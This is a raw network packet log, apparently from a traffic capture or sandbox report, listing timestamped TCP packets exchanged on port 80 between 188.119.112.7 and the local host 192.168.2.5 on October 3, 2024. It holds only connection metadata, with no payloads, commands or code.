Oct 3, 2024 20:42:02.549110889 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.549144030 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.549177885 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.549179077 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.549211025 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.549221992 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.549245119 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.549278021 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.549288988 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.590173960 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.590207100 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.590240002 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.590275049 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.590286016 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.590307951 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.590333939 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.590342045 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.590348959 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.590374947 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.590408087 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.590460062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.613764048 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.630255938 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630331993 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630363941 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630465031 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.630477905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630507946 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.630530119 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630563974 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630597115 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630609035 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.630651951 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.630877972 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630911112 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630943060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630975008 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.630986929 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.631010056 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631015062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.631042957 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631074905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631124020 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.631259918 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631292105 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631306887 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.631325006 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631357908 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631398916 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.631407022 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631442070 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631450891 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.631477118 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631726980 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631758928 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631787062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.631792068 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631817102 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.631824970 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631859064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631894112 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631911039 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.631926060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.631937981 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.632246017 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632277012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632308960 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632324934 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.632342100 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632349968 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.632374048 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632405996 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632437944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632448912 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.632471085 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632482052 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.632504940 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632535934 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632570028 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632572889 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.632602930 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632611036 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.632636070 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632668972 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632703066 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632710934 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.632745981 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.632891893 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632924080 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632956028 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632988930 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.632998943 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.633022070 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633028984 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.633054972 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633088112 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633119106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633131981 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.633151054 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633173943 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.633184910 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633218050 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633250952 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633260965 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.633285046 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633296013 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.633644104 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633676052 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633708954 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633724928 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.633740902 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633761883 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.633774042 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633806944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633838892 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633867025 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.633872032 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633888006 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.633905888 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633939028 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633972883 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.633977890 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.634007931 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634016037 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.634602070 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634634018 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634666920 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634696960 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.634700060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634731054 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.634732962 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634766102 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634799004 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634812117 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.634831905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634839058 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.634865046 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634897947 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634928942 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634938002 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.634962082 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.634977102 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.634994984 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.635027885 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.635060072 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.635068893 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.635092974 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.635101080 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.638288021 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638322115 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638355017 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638386965 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.638417959 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.638422012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638454914 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638495922 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638504982 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.638526917 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638559103 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638592005 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638605118 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.638626099 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638633013 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.638659000 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638696909 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638729095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638737917 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.638761997 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638772964 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.638796091 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638828993 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638863087 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638873100 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.638897896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638902903 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.638931990 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.638964891 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.639000893 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.639008045 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.639043093 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.676733017 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.676768064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.676784992 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.676801920 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.676819086 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.676835060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.676851988 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.676898003 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.676966906 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.717289925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717327118 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717343092 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717359066 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717375994 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717391968 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717408895 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717564106 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.717564106 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.717571020 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717586994 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717602015 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717617035 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717632055 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.717632055 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717648029 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717648983 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.717664957 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717690945 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.717930079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.717974901 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.718009949 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718044043 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718179941 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718213081 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718228102 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.718249083 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718265057 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.718283892 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718317986 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718364000 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.718461037 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718492985 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718513012 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.718527079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718559980 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718592882 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718604088 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.718632936 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718635082 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.718753099 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718780994 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718813896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718830109 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.718847990 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.718861103 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.718884945 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719054937 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719105959 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719106913 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.719140053 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719150066 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.719173908 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719209909 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719243050 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719252110 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.719275951 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719281912 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.719310045 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719341993 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719377041 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719393015 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.719425917 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.719441891 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719479084 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719830036 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719862938 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719892025 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.719896078 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719918013 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.719928980 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.719983101 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720016003 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720037937 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720050097 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720063925 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720083952 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720117092 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720150948 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720165968 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720186949 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720197916 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720222950 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720573902 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720602989 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720628023 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720637083 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720653057 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720671892 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720704079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720710993 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720736980 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720769882 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720802069 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720813036 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720835924 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720837116 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720871925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720905066 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720938921 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720947027 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720971107 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.720978975 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.720997095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721012115 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721028090 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721043110 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721048117 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.721075058 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.721529007 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721544981 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721560001 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721575022 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721589088 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721590996 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.721605062 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721622944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721626043 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.721638918 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721657991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721673012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721676111 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.721689939 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721697092 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.721707106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721723080 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721739054 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721741915 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.721755028 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721767902 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.721771002 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.721795082 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.722381115 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722397089 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722421885 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722429991 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.722438097 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722453117 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722461939 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.722469091 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722484112 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722490072 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.722500086 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722516060 CEST	80	49704	188.119.112.7	192.168.2.5
